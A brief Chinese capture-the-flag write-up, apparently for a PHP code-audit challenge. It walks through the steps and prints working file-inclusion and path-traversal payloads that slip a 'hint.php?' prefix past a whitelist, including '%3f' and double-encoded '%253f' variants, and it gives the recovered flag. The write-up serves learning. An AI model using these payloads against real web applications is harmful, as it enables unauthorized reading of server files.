考察点:php代码审计
1.进入场景,F12没找到代码,但得到提示source.php
2.打开文件,得到php代码
3.化简代码,审计
提交参数source.php发现笑脸不见了,提交hint.php发现提示,说明我们要使用四层目录
4.构造payload,得到flag:flag{25e7bce6005c4e0c983fb97297ac6e5a}
法1.当参数为hint.php?时:
url中输入:/?file=hint.php?/../../../../ffffllllaaaagggg
法2.当参数为hint.php%3f或hint.php%253f时:
url中输入:/?file=hint.php%3f/../../../../ffffllllaaaagggg
或 /?file=hint.php%253f/../../../../ffffllllaaaagggg
注:'%3f' 和 '%253f' 经过urldecode后都是'?',http://tool.chinaz.com/tools/urlencode.aspx
网友评论